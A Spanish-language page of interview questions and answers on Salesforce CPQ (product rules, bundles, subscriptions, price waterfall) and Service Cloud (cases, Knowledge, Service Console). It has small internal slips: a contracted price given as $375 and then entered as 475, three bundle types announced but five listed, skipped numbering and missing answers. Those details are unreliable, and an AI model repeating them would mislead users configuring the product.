Las reglas de alerta son una parada suave en comparación con la parada fuerte de las reglas de validación. También muestran un mensaje, pero es más bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.
Reglas de selección : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinación de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotización. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o más deseadas seleccionando automáticamente los productos correctos.
Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del catálogo de productos mediante una regla de filtrado . A esto se le suele denominar creación de un paquete dinámico.
Reglas de precios
Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del cálculo que afectarán el precio. puede usarlos para establecer descuentos y cantidades.
3. ¿Cuáles son las consideraciones para los campos gemelos?
Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opción de producto.
4. ¿Cómo configurar productos de suscripción en Salesforce CPQ?
Hay tres campos esenciales para configurar Productos de suscripción en Salesforce CPQ.
Campo de producto | Tipo de datos | Descripción |
Precios de suscripción | Lista de selección | El producto no se considerará una suscripción sin que este campo esté configurado en Precio fijo o Porcentaje del total. |
Plazo de suscripción | Número | Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripción Anual. |
Tipo de suscripción | Lista de selección | Este campo determina si el producto es renovable o único. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovación. Las suscripciones únicas no lo harán. |
Para crear Productos de Suscripción , cree un nuevo Registro de productos. Complete los campos: Precio de suscripción , Tipo de suscripción y Plazo de suscripción para el producto. Tenga en cuenta que durante la creación del contrato, los Productos de Suscripción se convierten en registros de Suscripción.
5. ¿Cuál es la diferencia entre restricciones de opciones y reglas de productos?
Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.
Las restricciones de opciones no pueden seleccionar productos automáticamente. (aunque pueden anular la selección de productos cuando se aplica la dependencia). Son buenos en dos escenarios:
Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opción, la dependencia o exclusión se activa inmediatamente.
Las reglas de producto tienen más funciones que la restricción de opción, aunque es necesario elegir un evento de evaluación para especificar cuándo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.
6. ¿Explicar el paquete de productos en CPQ?
Hay tres objetos clave que definen la estructura del paquete :
Producto
Los paquetes están hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora portátil como un producto
Opciones de producto
Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora portátil pueden ser mouse, teclado, cargador y software de Microsoft.
Características
Son categorías de opciones de productos dentro de la configuración. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y también ayudan a impulsar lógica adicional, como las opciones mínimas y máximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:
Software
Hardware
Aquí Hardware y Software son características que clasifican las opciones del producto.
Hay tres tipos de paquetes :
Paquete estático. Este sería el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuración porque no se permiten ajustes.
Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.
Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean fácilmente agregando el producto principal de un paquete como opción a otro paquete.
Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.
Paquetes dinámicos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.
7.¿Qué son las funciones de CPQ?
El objeto de característica está relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una función puede tener varias opciones.
Las características tienen dos propósitos:
El campo Número establece el orden de visualización de las funciones, siendo la función con el número más bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar números.
El campo SKU configurado se completa automáticamente cuando el usuario crea una función desde la página de detalles del producto del paquete y representa el producto principal que alberga la función.
8. ¿Explica los diferentes valores del campo del método de selección de opciones en el objeto de características?
El campo Método de selección de opciones controla cómo aparecen al usuario las opciones adjuntas a esta función.
Haga clic : las opciones aparecen como una lista con casillas de verificación junto a ellas:
Agregar : las opciones se colapsan y en su lugar aparece un botón Agregar opciones. Se debe hacer clic en el botón Agregar opciones para navegar a una página separada que muestra los productos para esta función.
Dinámico : muestra un botón Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selección. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes dinámicos.
9. ¿Explicar el campo del objeto de búsqueda?
Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de búsqueda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de búsqueda para compararlos con los campos de cotización, línea de cotización o opción de producto.
10. ¿Explicar la estructura de la plantilla de cotización?
La estructura de la plantilla de cotización incluye:
11. ¿Cuáles son los pasos para crear plantillas de cotizaciones?
Hay cinco pasos principales a seguir al crear una plantilla de cotización:
1. Crear la propia plantilla de cotización
2. Almacenamiento del logotipo necesario en Documentos
3. Creando el contenido de la plantilla
4. Creando las secciones de la plantilla
5. Creando las columnas de línea
12. ¿Cómo se puede renovar la suscripción con un cliente existente?
Si ya tiene una oportunidad de renovación, cuando se acerque al final del período de suscripción, es posible que desee venderles las suscripciones de renovación al cliente nuevamente. Para ello, necesita una cotización de renovación.
Se puede generar marcando la casilla de verificación Cotización de renovación como verdadera. Esta cotización de renovación se puede enviar, actualizar y modificar según sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.
1. Primero, haga clic en la pestaña Cuentas en la barra de navegación.
2. Vaya a la empresa necesaria y haga clic en la pestaña Relacionado .
3. Acceda al enlace Número de contrato en la lista relacionada Contratos y luego haga clic en Editar .
4. Marque la casilla de verificación Cotización de renovación como verdadera, lo que le indicará a CPQ que genere una cotización sobre la oportunidad de renovación.
.
Tenga en cuenta que la cotización de renovación tiene la Fecha de inicio un día después de la Fecha de cierre de la oportunidad de renovación, mientras que la Fecha de finalización se basa en el Plazo de renovación del contrato.
13. ¿Cómo modificar un contrato en Salesforce CPQ?
Veamos cómo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripción, prorrateados por la duración restante del Contrato y crear automáticamente una Oportunidad y Cotización de enmienda:
Cree una cotización de modificación y una oportunidad para aumentar la cantidad de un producto de suscripción de 1 a 10, a partir de los 3 meses del contrato.
Navegue hasta esa cuenta y vaya al enlace Número de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .
14. ¿Cómo funciona el grupo de restricción de opciones en Salesforce CPQ?
Esta característica resulta útil cuando desea hacer que las opciones sean obligatorias o excluidas en función de combinaciones de otras opciones.
Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotización:
A. Haga clic en la pestaña Productos en la barra de navegación.
C. Vaya a la pestaña Relacionados .
D. En la lista relacionada Opciones , seleccione Ver todo y anote el número del Nombre de la opción para las opciones necesarias:
E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:
F. Haga clic en Guardar .
16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. ¿Cómo configurar para este escenario?
Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuración.
Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuración.
Paso 3: Cree una regla de producto que confirme cómo funcionará la regla de validación durante la configuración del producto.
Paso 4: Cree una condición de error que controle cuándo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.
Paso 5: Cree una regla de configuración para mostrar que la regla de validación se aplicará al paquete de productos.
Paso 6: compruebe si la regla se comporta como se esperaba.
17. ¿Cómo utilizar las restricciones de opciones?
Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en función de otra opción de producto.
Los escenarios incluyen:
Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.
Cree una restricción de opción para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:
18. ¿Explique un caso de uso de precios contratados?
Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora portátil en lugar de $450,00
Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.
Primero, creemos un precio contratado para un único producto específico para una cuenta seleccionada. Haga clic en la pestaña Cuentas , haga clic en la cuenta seleccionada , vaya a la pestaña Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:
►Producto: Computadora portátil
►Precio: 475
►Haga clic en Guardar.
Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.
19. ¿Explicar el evento de evaluación en la regla del producto?
Evento de evaluación : especifica cuándo se debe evaluar la regla:
Cargar: La regla se evaluará cuando se abra el paquete de productos.
Editar: la regla se evaluará cuando se edite el paquete de productos.
Guardar: la regla se evaluará al guardar.
Siempre: La regla será evaluada durante cualquier evento.
Ahora, supongamos que tiene un campo en el Objeto de producto que también desea ver en la Línea de cotización. Cree un campo con el mismo nombre de API y del mismo tipo.
20. ¿Qué es la venta guiada de Salesforce?
La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en función de la selección de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotización y sus especificaciones.
21. ¿Qué es el precio por bloque de Salesforce?
Los precios en bloque le permiten fijar el precio de un producto en función de diferentes rangos de cantidades que se denominan precios en bloque.
22. ¿Cuáles son los pasos para implementar un paquete dinámico?
Los paquetes dinámicos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.
Para implementar un paquete dinámico, estos son los pasos de implementación que debe seguir:
►Crear una característica
►Crear una regla de producto
►Crear una acción
►Crear una regla de configuración
23. ¿Cuándo utilizar reglas de producto frente a restricciones de opciones?
Cuándo utilizar restricciones de opciones
Si tiene menos opciones y puede ajustar todas las opciones de producto en la categoría/pestaña sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.
24. ¿Cuándo utilizar las reglas del producto?
Este enfoque es especialmente útil en configuraciones más grandes que se muestran en categorías (pestañas), donde cada categoría puede requerir un desplazamiento extenso para mostrar todas las opciones.
Diferencias | Restricciones de opciones | Reglas de selección de productos |
Acciones admitidas | Habilitar deshabilitar | Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar |
Condiciones | La restricción de opción tiene una condición simple: si se selecciona la opción X | Las reglas de producto pueden tener múltiples condiciones que evalúan información fuera del contexto del paquete, es decir, campos de nivel de cotización/oportunidad/cuenta. |
Alcance | La restricción de opciones se limita a una sola opción. | Las reglas del producto pueden actuar sobre múltiples opciones |
Contexto | Se utiliza sólo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es específico de un solo paquete. | Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto único a paquetes ilimitados. |
Resultado | No se puede seleccionar/deseleccionar automáticamente un producto | Puede seleccionar/deseleccionar automáticamente un producto |
Las reglas del producto se ejecutan en la página de configuración del producto o en el editor de líneas de cotización. Esto se decide en función de los siguientes campos de reglas de producto:
a. ALCANCE – (Valores: Producto/Cotización ): el campo Alcance en el registro de regla del producto le indica a CPQ DÓNDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutará durante la configuración del producto, y un alcance de "Cotización" hará que se ejecute en el Editor de líneas de cotización.
b. EVENTO DE EVALUACIÓN – (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluación en el registro de regla del producto le indica a CPQ CUÁNDO debe ejecutarse la regla.
26. Explique la descripción general del ciclo de vida de Salesforce CPQ.
Generación de leads: el ciclo de vida de CPQ comienza con la generación de leads, donde los clientes potenciales muestran interés en tus productos o servicios.
Creación de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar información del cliente y evaluar sus necesidades.
Configuración del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupación y personalización.
Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados según los requisitos específicos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.
Generación de cotizaciones: una vez determinados la configuración del producto y el precio, Salesforce CPQ genera una cotización profesional adaptada a las necesidades del cliente. La cotización incluye información detallada sobre los productos o servicios, precios y términos.
Aprobación y negociación de la cotización: la cotización generada pasa por un proceso de aprobación, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociación con el cliente para finalizar los detalles de la cotización.
Aceptación de cotización: una vez que el cliente acepta la cotización, avanza a la siguiente etapa del ciclo de vida de CPQ.
Creación de pedidos: la cotización aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gestión de inventario, el procesamiento de pedidos y el envío.
Gestión de contratos: Salesforce CPQ proporciona capacidades de gestión de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotización aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gestión del ciclo de vida del contrato.
Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturación y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en función de los productos o servicios entregados.
Renovación y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovación. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.
Informes y análisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y análisis para monitorear métricas clave, rastrear el desempeño de ventas, identificar tendencias y tomar decisiones basadas en datos.
27. ¿Explicar los atributos de configuración?
En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuración .
Atributo de configuración
Hay 2 tipos de Atributos de Configuración que podemos crear en Salesforce CPQ.
28. ¿Qué es el precio excedente en Salesforce CPQ?
Imagina que tienes un plan de telefonía móvil que incluye hasta 10 GB de datos por 30 dólares al mes. Esto es mucho, pero ¿qué pasa si usas más de 10 GB en un mes? Ahí es donde entran en juego las tasas excedentes.
La compañía telefónica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados más allá de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagarás la tarifa base de $30 por los primeros 10 GB, más una tarifa excedente de $2 por los GB adicionales, por un total de $32.
Así es como se descompone:
– Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.
– Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.° GB, para un total de $32.
– Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.
…y así sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.
Este sistema hace que la facturación sea más clara y sencilla. Usted sabe exactamente cuánto se le cobrará si excede su límite de datos y la compañía telefónica puede calcular fácilmente los cargos según el uso real.
Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso único para cualquier organización que utilice Salesforce CPQ.
29. ¿Explique la caída de precios en CPQ con la ayuda de un ejemplo?
Imagina que estás en "Sundae Funday", una heladería conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y así es como cambia el precio:
1. Precio original: Este es el costo básico en el que incurre “Sundae Funday” para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cuánto le cuesta a la tienda hacer ese delicioso cono.
2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el menú cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio estándar para cualquier cliente en un día normal.
3. Precio especial: ¿Adivina qué? Visitas la tienda un “martes tropical” y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un “precio especial” de $4.00. Este precio es específico para esta promoción o segmento de clientes.
4. **Precio Regular**: ¡Aquí vienen los beneficios del programa de fidelización! Como titular de una tarjeta de fidelidad “Sundae Funday”, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el “precio regular” que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.
5. **Precio para el cliente**: Tienes un cupón por completar una encuesta en tu última visita, lo que te otorga un descuento adicional de $0,50 en tu próxima compra. Después de aplicar esto, su “precio al cliente” ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y únicas.
6. **Precio de socio**: La heladería tiene una asociación con un cine cercano. Dado que tiene una entrada de cine para el mismo día, obtiene un descuento adicional del 5%, lo que reduce su cono a un “precio de socio” de $2,95.
7. **Precio neto**: Finalmente, hay una promoción para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto último te lleva a tu “precio neto” final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.
En este viaje, cada reducción de precio refleja una etapa en la cascada de precios CPQ, desde el costo básico de los bienes hasta el precio final pagado por un cliente en una posición única.
Memorizar las etapas de tarificación junto con sus funciones utilizando el
Con el mnemotécnico “Los viejos leones duermen, rara vez atrapan presas, nunca ronronean” , puede crear una historia que vincule cada término no solo con el orden de los precios sino también con sus roles específicos en el proceso de fijación de precios.
30. ¿Explique el método de fijación de precios de 'porcentaje del total'?
Imagina que estás en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios únicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en función del monto total que gasta en otras delicias. Así es como funciona:
1. Método de fijación de precios: “Porcentaje del total”:
– Piense en esto como la “Regla de la sorpresa del helado”. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial según la cual su bonificación es un porcentaje del monto total que ha gastado, como su “propina” en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.
2. Porcentaje del total (%) – El número mágico:
– El parque tiene carteles por todas partes que dicen: “¡Gasta en golosinas y recibe un 10% de bonificación!” Este 10% es el número mágico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibirás un “Bono Sorpresa de Sundae” por valor de $3.
3. Porcentaje de la base total: recuento de helados:
– Ahora, aquí es donde se pone aún más genial. El parque te permite elegir qué cuenta para este cálculo mágico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu “Bono Sorpresa de Sundae”, lo que lo convierte en un valor de $2 (10% de $20).
Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje mágico y calcular su bonificación en función exactamente de lo que desea contar para la sorpresa.
Esto hace que recordar el concepto de “porcentaje del total” sea tan fácil como disfrutar de un helado en un día soleado.
Seguir leyendoTemas cubiertos en la entrevista de Salesforce Service Cloud:
1. ¿Qué es Salesforce Service Cloud?
– Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera rápida y eficiente. ¡Ahí es donde entra Salesforce Service Cloud!
2. ¿Cómo beneficia Service Cloud a un departamento de atención al cliente?
Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le envían correos electrónicos o le hacen ping en las redes sociales. ¡Es como hacer malabares! Service Cloud es como un asistente súper inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder más rápido.
¿La mejor parte? Puede conectarse con sus clientes dondequiera que estén: por teléfono, en las redes sociales, lo que sea. ¡Menos caos, más choca esos cinco en la oficina!
3. ¿Cuál es la diferencia entre Salesforce Sales Cloud y Service Cloud?
Piense en su negocio como en un automóvil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, ¿la nube de servicios? Ese es su sistema de dirección y comodidad. Una vez que los clientes están a bordo, se garantiza que estén contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querrán viajar contigo nuevamente.
4. ¿Qué es OmniCanal en el contexto de Service Cloud y cómo beneficia a una empresa?
OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electrónico, teléfono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.
5. ¿Cómo mejora Service Cloud la satisfacción del cliente?
Conocer bien a sus clientes y satisfacer sus necesidades rápidamente no sólo los deja satisfechos; ¡Puede convertirlos en fanáticos de tu marca! Además, los clientes satisfechos a menudo significan que volverán y les dirán a sus amigos lo fantástico que eres: ¡todos ganan!
1.¿Qué es un caso en Salesforce?
– Imagínese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. ¿Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".
2.¿Cómo se pueden crear casos en Salesforce?
Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente envía un correo electrónico, completa un formulario en su sitio web, le envía un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.
3. ¿Qué es Web-to-Case y cómo se utiliza?
¿Sabes cómo puedes pedir tu café con anticipación en una aplicación y te estará esperando cuando llegues? Web-to-Case es algo así, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa información se envía directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.
4. ¿Explicar el correo electrónico para enviar casos?
Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electrónico de servicio al cliente y Salesforce . Cuando sus clientes le envían un correo electrónico pidiéndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.
5. ¿Qué es la escalada de casos y cómo se configura?
A veces, las cosas necesitan un poco más de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto período de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una señal de alerta cuando uno está tardando demasiado.
6. ¿Cómo funcionan las reglas de asignación de casos?
Las reglas de asignación son como los policías de tránsito de Salesforce. Observan los nuevos casos que llegan y les indican la dirección correcta. Según los detalles del caso, como de qué se trata o de quién proviene, estas reglas los envían al departamento correcto o a la persona más adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.
7. ¿Qué son las colas de casos y en qué se diferencian de las reglas de asignación?
Las reglas de asignación dirigen los casos a personas específicas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.
8. ¿Cómo se realiza un seguimiento del historial del caso?
Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de dónde ha estado, a quién ha visitado y qué se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. Así, cualquiera que observe el caso podrá ponerse al día con su recorrido.
9. ¿Qué son los equipos de casos?
Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.
10. ¿Cómo se utilizan los feeds de casos?
Los feeds de casos son como líneas de tiempo de las redes sociales para cada caso. Muestran una vista cronológica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.
11. ¿Puedes realizar un seguimiento del tiempo dedicado a cada caso?
Sí, con funciones de seguimiento del tiempo. Es como un cronómetro del trabajo: puede medir cuánto tiempo dedican los agentes a cada caso.
12. ¿Cómo maneja Salesforce los correos electrónicos masivos en la gestión de casos?
Salesforce le permite enviar correos electrónicos masivos para mantener actualizados a muchos clientes a la vez.
13. ¿Qué son los hitos del caso?
Los hitos son como puntos de control en una carrera. Son objetivos específicos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.
14. ¿Cuál es la diferencia entre un caso y una orden de trabajo?
Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas físicas.
15. ¿Cuáles son los beneficios de utilizar Chatter para los casos?
Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.
16. ¿Cuáles son los componentes de la regla de asignación de casos en Salesforce?
En Salesforce, la regla de asignación de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.
Regla de caso: una regla de caso define una o más de una condición que debe cumplirse para ser asignada a un usuario específico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignación.
Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.
1. ¿Qué es el conocimiento de Salesforce?
Salesforce Knowledge es como una carpeta para toda la información que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar artículos, preguntas frecuentes, guías de solución de problemas y más, todo organizado y fácil de encontrar.
2. Explicar el proceso de creación y mantenimiento de una Base de Conocimiento en Salesforce.
Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir artículos; pueden ser preguntas frecuentes, guías prácticas o pasos para la solución de problemas. Una vez que haya terminado, los colocará en los estantes (es decir, los publicará en Salesforce Knowledge) y así, estarán disponibles para que los lea su equipo o incluso sus clientes. Deberá revisar sus artículos con regularidad, actualizar la información anterior y seguir agregando material nuevo para mantener todo actualizado.
3. ¿Cuál es la diferencia entre Soluciones y Artículos de Conocimiento?
Las soluciones son como esas viejas enciclopedias : tienen información útil, pero son un poco básicas y solo su equipo puede leerlas. Por otro lado, los artículos de conocimiento son como tener una base de datos completa en línea. Son más dinámicos, pueden incluir videos e imágenes y puedes compartirlos no solo con tu equipo sino también con tus clientes.
4. ¿Cómo pueden los usuarios de Service Cloud aprovechar los artículos de conocimiento?
Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el artículo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea más rápido, más preciso y, sinceramente, mucho menos estresante.
5. ¿Pueden los clientes acceder a los artículos de conocimiento? ¿Si es así, cómo?
¡Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web público donde estos artículos estén disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el teléfono o enviar un correo electrónico.
1.¿Qué es la Consola de Servicio en Salesforce?
Imagínese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estación de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (artículos de conocimiento), todo en un solo lugar. Estás allí, cocinando varios platos (manejando varios casos de clientes) a la vez. 🍳👩🍳🔥
2. ¿Cómo mejora la Consola de servicio la productividad de los agentes?
Si eres chef en una cocina, ¿no sería más fácil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. ¡Es como tener superpoderes, para que puedan ayudar a los clientes más rápido y mejor!
3. ¿Se puede personalizar la Consola de servicio? Si es así, ¿cómo?
¡Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu teléfono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a través de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que diseñas tu centro de mando.
Portales/comunidades de clientes y agentes:
1. ¿Qué es una comunidad de clientes en el contexto de Service Cloud?
Imagínese un centro comunitario en un vecindario. Es un lugar donde los residentes se reúnen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un “centro comunitario” virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en línea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. También pueden encontrar artículos o anuncios útiles que haya publicado, ¡muy parecido a un tablero de anuncios comunitario!
2. ¿En qué se diferencian los portales de agentes de los portales/comunidades de clientes?
